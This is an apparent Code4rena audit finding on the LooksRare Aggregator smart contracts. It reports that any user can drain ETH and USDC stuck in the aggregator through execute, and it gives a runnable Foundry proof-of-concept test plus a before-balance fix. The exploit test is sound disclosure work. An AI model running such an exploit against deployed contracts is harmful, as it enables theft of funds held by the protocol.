LooksRare Aggregator contest - koxuan's results

Lines of code

https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/LooksRareAggregator.sol#L108-L109 https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/LooksRareAggregator.sol#L244 https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/lowLevelCallers/LowLevelETH.sol#L46

Vulnerability details

Impact

_returnERC20TokensIfAny and _returnETHIfAny in execute can be used by the public to withdraw stuck funds from LooksRareAggregator by running execute for either ERC20EnabledLooksRareAggregator or LooksRareAggregator. The two _return... functions use LooksRareAggregator's balances to determine user leftovers. Therefore, stuck balances in LooksRareAggregator are also considered. User can withdraw all stuck funds and Admin calling TokerRescuer functions will rescue nothing.

Proof of Concept

LooksRareAggregator.sol#L108-L109

        if (tokenTransfersLength > 0) _returnERC20TokensIfAny(tokenTransfers, originator);
        _returnETHIfAny(originator);

LooksRareAggregator.sol#L244

        uint256 balance = IERC20(tokenTransfers[i].currency).balanceOf(address(this));

LowLevelETH.sol#L46

        let status := call(gas(), recipient, selfbalance(), 0, 0, 0, 0)

place POC in test/foundry/ and run FOUNDRY_PROFILE=local forge test --match test_UserCanWithdrawStuckFunds -vvv

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import {IERC20} from "../../contracts/interfaces/IERC20.sol";
import {IERC721} from "../../contracts/interfaces/IERC721.sol";
import {SeaportProxy} from "../../contracts/proxies/SeaportProxy.sol";
import {ERC20EnabledLooksRareAggregator} from "../../contracts/ERC20EnabledLooksRareAggregator.sol";
import {LooksRareAggregator} from "../../contracts/LooksRareAggregator.sol";
import {IProxy} from "../../contracts/interfaces/IProxy.sol";
import {ILooksRareAggregator} from "../../contracts/interfaces/ILooksRareAggregator.sol";
import {BasicOrder, FeeData, TokenTransfer} from "../../contracts/libraries/OrderStructs.sol";
import {TestHelpers} from "./TestHelpers.sol";
import {TestParameters} from "./TestParameters.sol";
import {SeaportProxyTestHelpers} from "./SeaportProxyTestHelpers.sol";


import {console} from "forge-std/console.sol";


contract WithdrawFundsFromAggregatorTest is TestParameters, TestHelpers, SeaportProxyTestHelpers  {

    LooksRareAggregator private aggregator;
    ERC20EnabledLooksRareAggregator private erc20EnabledAggregator;
    SeaportProxy private seaportProxy;

    function setUp() public {
        vm.createSelectFork(vm.rpcUrl("mainnet"), 15_491_323);

        aggregator = new LooksRareAggregator();
        erc20EnabledAggregator = new ERC20EnabledLooksRareAggregator(address(aggregator));
        seaportProxy = new SeaportProxy(SEAPORT, address(aggregator));
        aggregator.addFunction(address(seaportProxy), SeaportProxy.execute.selector);
        aggregator.approve(SEAPORT, USDC, type(uint256).max);
        //2.5%
        aggregator.setFee(address(seaportProxy), 250, _protocolFeeRecipient);
        aggregator.setERC20EnabledLooksRareAggregator(address(erc20EnabledAggregator));
    }

    function test_UserCanWithdrawStuckFunds() public asPrankedUser(_buyer) {

        vm.deal(address(aggregator), 1 ether); // 1 ether stuck in aggregator contract

        deal(USDC, address(aggregator), 1e6); // 1 dollar USDC stuck in aggregator contract

        console.log("before buyer ether balance: ", address(_buyer).balance); // 0 ether

        console.log("before buyer usdc balance: ", IERC20(USDC).balanceOf(address(_buyer))); // 0 USDC


        ILooksRareAggregator.TradeData[] memory tradeData = _generateTradeData();  //create a trade, this will not revert even if all orders fail with `isAtomic` set to false for `execute` function


        TokenTransfer[] memory tokenTransfers = new TokenTransfer[](1);
        tokenTransfers[0].currency = USDC;
        tokenTransfers[0].amount = 0; //sending 0 USDC, therefore no need to approve


        erc20EnabledAggregator.execute(tokenTransfers, tradeData, _buyer, false); //executing with 0 ether and 0 USDC


        console.log("after buyer ether balance: ", address(_buyer).balance); //1000000000000000000  = 1 ether


        console.log("after buyer usdc balance: ", IERC20(USDC).balanceOf(address(_buyer))); //1000000  = 1 dollar USDC

    }

    function _generateTradeData() private view returns (ILooksRareAggregator.TradeData[] memory) {
        BasicOrder memory orderOne = validBAYCId9948Order();
        BasicOrder memory orderTwo = validBAYCId8350Order();
        BasicOrder[] memory orders = new BasicOrder[](2);
        orders[0] = orderOne;
        orders[1] = orderTwo;

        bytes[] memory ordersExtraData = new bytes[](2);
        {
            bytes memory orderOneExtraData = validBAYCId9948OrderExtraData();
            bytes memory orderTwoExtraData = validBAYCId8350OrderExtraData();
            ordersExtraData[0] = orderOneExtraData;
            ordersExtraData[1] = orderTwoExtraData;
        }

        bytes memory extraData = validMultipleItemsSameCollectionExtraData();
        ILooksRareAggregator.TradeData[] memory tradeData = new ILooksRareAggregator.TradeData[](1);
        tradeData[0] = ILooksRareAggregator.TradeData({
        proxy: address(seaportProxy),
        selector: SeaportProxy.execute.selector,
        value: 0,
        maxFeeBp: 250,
        orders: orders,
        ordersExtraData: ordersExtraData,
        extraData: extraData
        });

        return tradeData;
    }
}

1 ether and 1e6 USDC is stuck in aggregator. User can execute a trade with all the ERC20 tokens stuck in the aggregator and all the stuck funds will be transferred to user.

Note that isAtomic can also be set to true to withdraw stuck funds if all orders in the trade are successful.

Tools Used

Foundry

Recommended Mitigation Steps

have a beforeBalances that get the erc20 tokens and ETH balances of the aggregator before executing the trade and accounting it in the leftovers e.g usdc.balanceOf(this) - beforeBalances[usdc]